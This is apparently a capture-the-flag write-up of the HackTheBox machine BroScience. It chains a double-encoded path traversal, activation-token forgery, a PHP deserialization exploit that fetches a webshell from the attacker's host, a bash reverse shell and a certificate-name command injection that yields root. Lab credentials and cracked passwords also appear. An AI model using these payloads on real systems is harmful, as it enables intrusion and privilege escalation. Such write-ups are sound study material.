Hacking BroScience involves using a directory traversal / file read vulnerability (minus points to anyone who calls it an LFI) to get the PHP source for a website. First I’ll use that code to forge an activation token allowing me to register my account. Then, the source gives the information necessary to exploit a deserialization vulnerability by building a malicious PHP serialized object, encoding it, and sending it as my cookie. This provides a webshell and a shell on the box. I’ll find some hashes in the database that can be cracked, leading to the next user. The wrinkle here is to include the site-wide salt. For root, there’s a command injection in a script that’s checking for certificate expiration. I’ll craft a malicious certificate that performs the injection to get execution as root.

Box Info

Name BroScience BroScience
Play on HackTheBox
Release Date 07 Jan 2023
Retire Date 8 Apr 2023
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for BroScience
Radar Graph Radar chart for BroScience
First Blood User 00:59:18jkr
First Blood Root 01:38:41snowscan
Creator bmdyy



nmap finds three open TCP ports, SSH (22), HTTP (80), and HTTPS (443):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2023-03-30 15:37 EDT
Nmap scan report for
Host is up (0.087s latency).
Not shown: 65532 closed ports
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
oxdf@hacky$ nmap -p 22,80,443 -sCV
Starting Nmap 7.80 ( ) at 2023-03-30 15:37 EDT
Nmap scan report for
Host is up (0.085s latency).

22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
| tls-alpn: 
|_  http/1.1
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 18.15 seconds

Based on the OpenSSH) and Apache versions, the host is likely running Debian 11 bullseye.

The port 80 HTTP service is returning a redirect to https://broscience.htb.

Given the use of the domain names, I’ll fuzz both 80 and 443 with wfuzz to see if any subdomains return different pages, but it doesn’t find anything.

broscience.htb - TCP 443


The website has a bunch of articles about weighlifting:

Clicking on one of the articles leads to a url like https://broscience.htb/exercise.php?id=2, and gives a page with a comment section:


Trying to post a comment leads to the log in page (login.php). There is a registration link, but when I register, the message indicates that I need to activate:


If I try to log in anyway, it errors:


Tech Stack

The HTTP headers show Apache:

HTTP/1.1 200 OK
Date: Thu, 30 Mar 2023 19:59:13 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 9304
Connection: close
Content-Type: text/html; charset=UTF-8

Visiting the site shows it’s a PHP site based on file extensions. There are some JavaScript and CSS packages, but nothing that looks like a framework.

Looking at the page source, I’ll note that images are loaded via an odd PHP path, rather than directly to the static files:


Immediately on visiting the site, there is a PHPSESSID cookie set:

HTTP/1.1 200 OK
Date: Thu, 30 Mar 2023 21:25:06 GMT
Server: Apache/2.4.54 (Debian)
Set-Cookie: PHPSESSID=ggar5eo1euoclh581vijnvp017; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT

That is a standard PHP cookie.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP. There’s a ton of folders and things that don’t look interesting, so I’ll kill and restart with --no-recursion, and even there, there’s a lot:

oxdf@hacky$ feroxbuster -u https://broscience.htb -x php -k --no-recursion

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___                             
by Ben "epi" Risher 🤓                 ver: 2.9.2                       
 🎯  Target Url            │ https://broscience.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🚫  Do Not Recurse        │ true
 🏁  Press [ENTER] to use the Scan Management Menu™
404      GET        9l        -w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      280c https://broscience.htb/.html
403      GET        9l       28w      280c https://broscience.htb/.php
301      GET        9l       28w      321c https://broscience.htb/includes => https://broscience.htb/includes/
403      GET        9l       28w      280c https://broscience.htb/.html.php
200      GET      147l      510w     9304c https://broscience.htb/index.php
301      GET        9l       28w      319c https://broscience.htb/images => https://broscience.htb/images/
403      GET        9l       28w      280c https://broscience.htb/.htm
200      GET        3l        7w       44c https://broscience.htb/styles/light.css
200      GET       29l       70w     1309c https://broscience.htb/user.php
200      GET       45l      104w     2161c https://broscience.htb/register.php
200      GET       42l       97w     1936c https://broscience.htb/login.php
403      GET        9l       28w      280c https://broscience.htb/.htm.php
200      GET       28l       71w     1322c https://broscience.htb/exercise.php
302      GET        0l        0w        0c https://broscience.htb/logout.php => https://broscience.htb/index.php
302      GET        1l        3w       13c https://broscience.htb/comment.php => https://broscience.htb/login.php
200      GET        1l        4w       39c https://broscience.htb/includes/img.php
301      GET        9l       28w      319c https://broscience.htb/styles => https://broscience.htb/styles/
200      GET      147l      510w     9304c https://broscience.htb/
301      GET        9l       28w      323c https://broscience.htb/javascript => https://broscience.htb/javascript/
301      GET        9l       28w      319c https://broscience.htb/manual => https://broscience.htb/manual/
403      GET        9l       28w      280c https://broscience.htb/.htaccess
403      GET        9l       28w      280c https://broscience.htb/.htaccess.php
200      GET       28l       66w     1256c https://broscience.htb/activate.php
302      GET        1l        3w       13c https://broscience.htb/update_user.php => https://broscience.htb/login.php

I’ve cut off a bunch of meaningless 403s for paths that start with a .. Of interest here is activate.php.

Shell as www-data

File Read in img.php

Identify Filter

Visiting /includes/img.php returns a page saying that the path parameter is missing:


If I try to visit anything with ../ in the path, it just returns “Attack detected”:



There’s a really nice traversal wordlist here that will try all sorts of tests. I’ll use wfuzz (I can’t use ffuf until this bug is fixed) to try all these, filtering out any response with the string “Attack” and any with 0 size:

oxdf@hacky$ wfuzz -u https://broscience.htb/includes/img.php?path=FUZZ -w dotdotpwn.txt --hs Attack --hh 0
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: https://broscience.htb/includes/img.php?path=FUZZ
Total requests: 4648

ID           Response   Lines    Word       Chars       Payload                                                                                                        

000000166:   200        2 L      5 W        27 Ch       "..%252f..%252f..%252f..%252f..%252f..%252fetc%252fissue"
000000165:   200        39 L     64 W       2235 Ch     "..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
000000162:   200        2 L      5 W        27 Ch       "..%252f..%252f..%252f..%252f..%252fetc%252fissue"
000000161:   200        39 L     64 W       2235 Ch     "..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
000000158:   200        2 L      5 W        27 Ch       "..%252f..%252f..%252f..%252fetc%252fissue"
000000157:   200        39 L     64 W       2235 Ch     "..%252f..%252f..%252f..%252fetc%252fpasswd"

Total time: 46.66168
Processed Requests: 4648
Filtered Requests: 4642
Requests/sec.: 99.61064

These six requests seem to return data. I’ll try one in Firefox:

oxdf@hacky$ curl -k https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

Payload Analysis

These payloads seem to bypass the filter by double URL-encoding the / in ../. The first URL encode takes / –> %2f. The next URL encode (just of the %) takes % –> %25, making the entire ../ into ..%252f. Decoing this once will give ..%2f, and then again will give ../.

Site Enumeration


../index.php pull the source for the main site. In the header, there’s references to /includes/header.php and /includes/utils.php:


        <title>BroScience : Home</title>
        include_once 'includes/header.php';
        include_once 'includes/utils.php';
        $theme = get_theme();
        <link rel="stylesheet" href="styles/<?=$theme?>.css">

Next the body has some setup, and the connection to the database:

    <body class="<?=get_theme_class($theme)?>">
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-margin"> 
            <!-- TODO: Search bar -->
            include_once 'includes/db_connect.php';

Next there’s a query to the DB for exercises, and a loop to create an article for each result:

            // Load exercises
            $res = pg_query($db_conn, 'SELECT, username, title, image, SUBSTRING(content, 1, 100), exercises.date_created, FROM exercises JOIN users ON au
thor_id =');                       
            if (pg_num_rows($res) > 0) {
                echo '<div class="uk-child-width-1-2@s uk-child-width-1-3@m" uk-grid>';
                while ($row = pg_fetch_row($res)) {


From the code above, I’ll check out a few files in the /includes directory. path=..%252fincludes/db_connect.php returns the DB information including password:

$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");


/includes/utils.php has a bunch of functions. At the top there’s a function to generate activation codes:

function generate_activation_code() {       
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";          
    $activation_code = "";                  
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    return $activation_code;

It’s seeding the pseudo-random number generator with time(), which is suspect, and likely exploitable.

There’s a get_theme function that is designed to read user preferences from a cookie:

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";

I’m particularly interested in this because it takes the user-prefs cookie, base64 decodes it, and passes it to unserialize, which could lead to a PHP deserialization vulnerability. But that’s only if the session is set, which means I need to log in first.

There’s also an Avatar class at the bottom of the file:

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp)); 

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);

This jumps out as interesting because of the __wakeup() method, which is a Magic Method in PHP. Specifically:

unserialize() checks for the presence of a function with the magic name __wakeup(). If present, this function can reconstruct any resources that the object may have.

So if I can get the system to unserialize an AvatarInterface object, it will run the __wakeup function, which calls the save function which writes a file. There’s potential here to make one of these and put it into a user-prefs cookie to get file write. I’ll come back to this.


path=..%252factivate.php reads this file. The important part is that it looks for a GET parameter named code:

if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database

Activate Account

Request Analysis

I’ll find my request to register in Burp and take a look. It’s a POST to /register.php:

POST /register.php HTTP/1.1
Host: broscience.htb
Cookie: PHPSESSID=qgq4oojk8u47ai44dv3ip3hks5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: https://broscience.htb
Referer: https://broscience.htb/register.php
Te: trailers
Connection: close


The response headers include the time on the server:

HTTP/1.1 200 OK
Date: Thu, 30 Mar 2023 21:10:46 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2433
Connection: close
Content-Type: text/html; charset=UTF-8

Generate Codes

I’ll write a short PHP script that will generate codes. If I just make some PHP that prints time(), I’ll see it comes out as an epoch timestamp:

echo time() . '\n';
oxdf@hacky$ php generate_codes.php 

strtotime will give that same output from the time string in the request:

echo strtotime("Thu, 30 Mar 2023 21:10:46 GMT") . '\n';
oxdf@hacky$ php generate_codes.php 

I’ll pull in the generate_activation_code function collected earlier, modifying it to take an argument, and seeding srand with that argument instead of time():


function generate_activation_code($t) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    return $activation_code;

$start = strtotime("Thu, 30 Mar 2023 21:10:46 GMT");
for ($t = $start - 30; $t <= $start + 30; $t++) {
    echo generate_activation_code($t) . "\n";


This will print activation codes from 30 seconds before and 30 seconds after the timestamp of when I registered (more than necessary).


I’ll save these to a file, and then run them through wfuzz to try them all:

oxdf@hacky$ php generate_codes.php > codes.txt
oxdf@hacky$ wfuzz -u https://broscience.htb/activate.php?code=FUZZ -w codes.txt --hs Invalid
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: https://broscience.htb/activate.php?code=FUZZ
Total requests: 61

ID           Response   Lines    Word       Chars       Payload

000000031:   200        27 L     65 W       1251 Ch     "33bddQwMdlOCPl5Ex2sA5NRsRS8akH0l"

Total time: 1.322301
Processed Requests: 61
Filtered Requests: 60
Requests/sec.: 46.13167

I’m using --hs Invalid because the string “Invalid” is present when the code is wrong. I don’t really care what the code was, just that it worked.

Log In

Now when I log in, it works:




On logging in, it sets another cookie, user-prefs:

HTTP/1.1 302 Found
Date: Thu, 30 Mar 2023 21:28:32 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: /index.php
Set-Cookie: user-prefs=Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30%3D

This matches the cookie I saw deserialized in the code. Replacing %3d with = (URL decode), this base64 decodes to:

oxdf@hacky$ echo Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30= | base64 -d

That’s a PHP serialized object.

Generate Serialized Payload

I’m going to grab a lot of the PHP code from utils.php and use it to generate a serialized object.

$avatar_interface = new AvatarInterface();
$avatar_interface->tmp = "";
$avatar_interface->imgPath = "";
$cookie = base64_encode(serialize($avatar_interface));
echo $cookie;

The Avatar and AvatarInterface classes are unchanged (not shown). I’ll create a new AvatarInterface instance, and set the $tmp and $imgPath parameters. I’ll then serialize and base64 encode the result, and write that out.

So what are the $tmp and $imgPath values? When unserialize is called on this cookie, it will call the __wakeup function of AvatarInterface, creating a new Avatar with an $imgPath I give. Then it will call save with $tmp. save uses file_get_contents to read the contents of a file at the path $tmp, and writes that to $imgPath.

Since I want to write a webshell, I’ll want to write to the webroot. Something like ./cmd.php will work fine.

Getting a webshell is a bit tricker. There are a couple ways I could go about it. The intended path for the box is to change my username to include a webshell, and then reference my session file at //var/lib/php/sessions/sess_[session id].

But file_get_contents will also read over the network. So I’ll set it to a URL such as

My final code is:


class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));

class AvatarInterface {
    public $tmp;
    public $imgPath;

    public function __wakeup() {
        $a = new Avatar($this->imgPath);

$avatar_interface = new AvatarInterface();
$avatar_interface->tmp = "";
$avatar_interface->imgPath = "./cmd.php";
$cookie = base64_encode(serialize($avatar_interface));
echo $cookie;

Running this gives a cookie:

oxdf@hacky$ php serialized_rce_gen.php | base64 -d
oxdf@hacky$ php serialized_rce_gen.php 


I’ll make a simple webshell called cmd.php and host it on my webserver with Python:

oxdf@hacky$ cat cmd.php 
<?php system($_REQUEST['cmd']); ?>
oxdf@hacky$ python -m http.server 80
Serving HTTP on port 80 ( ...

I’ll go into Firefox dev tools and replace my cookie with the malicious one, and refresh https://broscience.htb. There’s a connection at the webserver (actually three): - - [30/Mar/2023 20:38:50] "GET /cmd.php HTTP/1.0" 200 - - - [30/Mar/2023 20:38:50] "GET /cmd.php HTTP/1.0" 200 - - - [30/Mar/2023 20:38:50] "GET /cmd.php HTTP/1.0" 200 -

And /cmd.php exists on the webserver, and it works:



I’ll type out a bash reverse shell into Firefox, URL encoding the & to %26:

https://broscience.htb/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/ 0>%261'

On hitting enter, there’s a shell at my listening nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 44096
bash: cannot set terminal process group (1235): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade the shell:

www-data@broscience:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@broscience:/var/www/html$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo ;fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as bill


Home Directory

There’s one user with a home directory on the box, bill, and it has user.txt, but I can’t read it yet:

www-data@broscience:/var/www/html$ ls /home/
www-data@broscience:/var/www/html$ ls /home/bill/
Certs    Documents  Music     Public     Videos
Desktop  Downloads  Pictures  Templates  user.txt
www-data@broscience:/var/www/html$ cat /home/bill/user.txt 
cat: /home/bill/user.txt: Permission denied


I already had access to most of the web files. But now I can connect to the database with the creds from db_connect.php:

$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");

It’s Postgres, so I’ll use psql to connect, entering the password when prompted:

www-data@broscience:/var/www/html/includes$ psql -U dbuser -d broscience -h localhost
Password for user dbuser: 
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.


broscience is the only interesting accessible database:

broscience=> \list
                                  List of databases
    Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
 broscience | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
 template1  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
(4 rows)

It has three tables:

broscience=> \dt
           List of relations
 Schema |   Name    | Type  |  Owner   
 public | comments  | table | postgres
 public | exercises | table | postgres
 public | users     | table | postgres
(3 rows)

The users table has five users besides the account I created:

broscience=> select * from users;
 id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created          
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04
  6 | 0xdf          | 79275232b2c9c937f145d7cc13d9339b | 0xdf@broscience.htb          | nH8VDTNVuZpI2UPif9QdCsgXzCLJrbfY | t            | f        | 2023-03-30 20:13:51.584023-04
(6 rows)

Cracking Hashes

Manual Enumeration

The password for the 0xdf user is “0xdf”, and the hash looks like an MD5 (just based on length). But just taking an MD5 of “0xdf” doesn’t match:

oxdf@hacky$ echo -n "0xdf" | md5sum
465e929fc1e0853025faad58fc8cb47d  -

I’ll look at registration.php, and these two lines are where the account is created and inserted into the DB:

$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_

The password is md5($db_salt . $_POST['password']). The same thing can be observed in login.php:

// Check if username:password is correct
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
$res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));

$db_salt is defined in db_connect.php:

$db_salt = "NaCl";

Appending the salt does give a matching hash for 0xdf’s password:

oxdf@hacky$ echo -n "NaCl0xdf" | md5sum
79275232b2c9c937f145d7cc13d9339b  -

Formatting Hashes

hashcat has a mode where it will read in hash and salt separated by :. I’ll use || in postgres to append strings together to generate an easily copyable list:

broscience=> select username || ':' || password || ':NaCl' from users;
(6 rows)


I’ll pass that file to hashcat and let it try to recognize the hash format. The --user flag tells hashcat to split off the string before the first : as the username. It finds a bunch of possible hash formats, and prints a table of them, asking me to re-run specifying which mode to use:

$ hashcat hashes --user /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
The following 20 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
     10 | md5($pass.$salt)                                           | Raw Hash salted and/or iterated
     20 | md5($salt.$pass)                                           | Raw Hash salted and/or iterated
   3800 | md5($salt.$pass.$salt)                                     | Raw Hash salted and/or iterated
   3710 | md5($salt.md5($pass))                                      | Raw Hash salted and/or iterated
   4110 | md5($salt.md5($pass.$salt))                                | Raw Hash salted and/or iterated
   4010 | md5($salt.md5($salt.$pass))                                | Raw Hash salted and/or iterated
  21300 | md5($salt.sha1($salt.$pass))                               | Raw Hash salted and/or iterated
     40 | md5($salt.utf16le($pass))                                  | Raw Hash salted and/or iterated
   3910 | md5(md5($pass).md5($salt))                                 | Raw Hash salted and/or iterated
   4410 | md5(sha1($pass).$salt)                                     | Raw Hash salted and/or iterated
  21200 | md5(sha1($salt).md5($pass))                                | Raw Hash salted and/or iterated
     30 | md5(utf16le($pass).$salt)                                  | Raw Hash salted and/or iterated
     50 | HMAC-MD5 (key = $pass)                                     | Raw Hash authenticated
     60 | HMAC-MD5 (key = $salt)                                     | Raw Hash authenticated
   1100 | Domain Cached Credentials (DCC), MS Cache                  | Operating System
     12 | PostgreSQL                                                 | Database Server
   2811 | MyBB 1.2+, IPB2+ (Invision Power Board)                    | Forums, CMS, E-Commerce
   2611 | vBulletin < v3.8.5                                         | Forums, CMS, E-Commerce
   2711 | vBulletin >= v3.8.5                                        | Forums, CMS, E-Commerce
     23 | Skype                                                      | Instant Messaging Service

Please specify the hash-mode with -m [hash-mode].

Mode 20, md5($salt.$pass) looks like this case. It cracks three of them:

$ hashcat hashes --user -m 20 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

Running with --show instead of a wordlist will show the results with the usernames:

$ hashcat hashes --user -m 20 --show

su / SSH

bill is a user on the box, and the list above has a password for bill. Running su with that password works to get a shell as bill:

www-data@broscience:/var/www/html$ su - bill       

And gives access to user.txt:

bill@broscience:~$ cat user.txt

The password also works for SSH:

oxdf@hacky$ sshpass -p 'iluvhorsesandgym' ssh bill@broscience.htb
Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64

Shell as root



There’s not much else on this box to look at. bill’s home directory is basically empty. Another review of the web code doesn’t give much.

bill cannot run sudo:

bill@broscience:~$ sudo -l
[sudo] password for bill: 
Sorry, user bill may not run sudo on broscience.

I don’t see any unusual SetUID / SetGID binaries.


Turning to the running processes, ps auxww doesn’t reveal anything too interesting. I’ll upload pspy to look for crons that might be running:

oxdf@hacky$ sshpass -p 'iluvhorsesandgym' scp /opt/pspy64 bill@broscience.htb:/dev/shm/pspy

It looks like every two minutes there’s a script that runs as root (UID=0):

2023/03/31 08:14:01 CMD: UID=0     PID=298411 | /usr/sbin/CRON -f 
2023/03/31 08:14:01 CMD: UID=0     PID=298412 | /usr/sbin/CRON -f 
2023/03/31 08:14:01 CMD: UID=0     PID=298413 | /bin/sh -c /root/ 
2023/03/31 08:14:01 CMD: UID=0     PID=298414 | /bin/bash /root/ 
2023/03/31 08:14:01 CMD: UID=0     PID=298415 | /bin/bash -c /opt/ /home/bill/Certs/broscience.crt 
2023/03/31 08:14:01 CMD: UID=0     PID=298416 | 
2023/03/31 08:14:01 CMD: UID=0     PID=298417 | /bin/bash /root/ 

It seems to run /opt/ on /home/bill/Certs/broscience.crt. The Certs directory does exist in bill’s home directory, but it’s empty.

This shell script starts by checking the usage and running help if necessary:

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;                                                                            

Then there’s a check that the argument is a file that exists ([ -f $1 ]), and if not, it prints a message and exits. When it is a file, it runs openssl on the file:

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;

If the input certificate expires in more than 86400 seconds (a day), it will return 0. If it retires sooner than that (or if there’s bad input), it will return 1, and continue. This article shows this in practice.

On continuing, the script will parse out variables from the existing certificate:

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')       
    emailAddress=$(openssl x509 -in $1 -noout -email)
    state=$(echo ${state:5} | awk -F, '{print $1}')         
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

After printing all of this to the screen, it will use it to generate a new certificate:

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country        
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"

Command Injection


The very last line above is the important one. There is a command injection vulnerability in that line if I can control $commonName. Working backwards, $commonName is set here:

commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

This is printing whatever $commonName was set as, starting from the sixth character, and then printing up to the first ,.

Before that, $commonName is set based on $subject:

commonName=$(echo $subject | grep -Eo 'CN = .*,?')

I believe the author is trying to get from CN = up through the next comma or the end of the line, but the way this regex is written, because .* is greedy, it will just always take through the end of the line. For example:

bill@broscience:~$ echo "this is a test, more stuff" | grep -Eo '.*,?'
this is a test, more stuff

$subject comes from an openssl command output reading the certificate:

subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

Effectively, if I can put a command injection payload into a certificate, and have it expire in less than one day, this script will execute it.


ChatGPT will quickly give me the openssl syntax to make a certificate. I’ll modify it slightly to meet my needs:

bill@broscience:~$ openssl req -x509 -nodes -newkey rsa:2048 -keyout /dev/null -out Certs/broscience.crt -days 1
Generating a RSA private key
writing new private key to '/dev/null'
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/0xdf; chmod 4777 /tmp/0xdf)                    
Email Address []:

My payload will copy bash into /tmp and set it as SetUID to run as root (I originally tried /dev/shm, but it is mounted nosuid.

After two minutes, there’s a SetUID binary in /tmp:

bill@broscience:~$ ls -l /tmp/0xdf
-rwsrwxrwx 1 root root 1234376 Mar 31 09:22 /tmp/0xdf

I’ll run that with -p to not drop privs and get a shell as root:

bill@broscience:~$ /tmp/0xdf -p

And read the flag:

0xdf-5.1# cat root.txt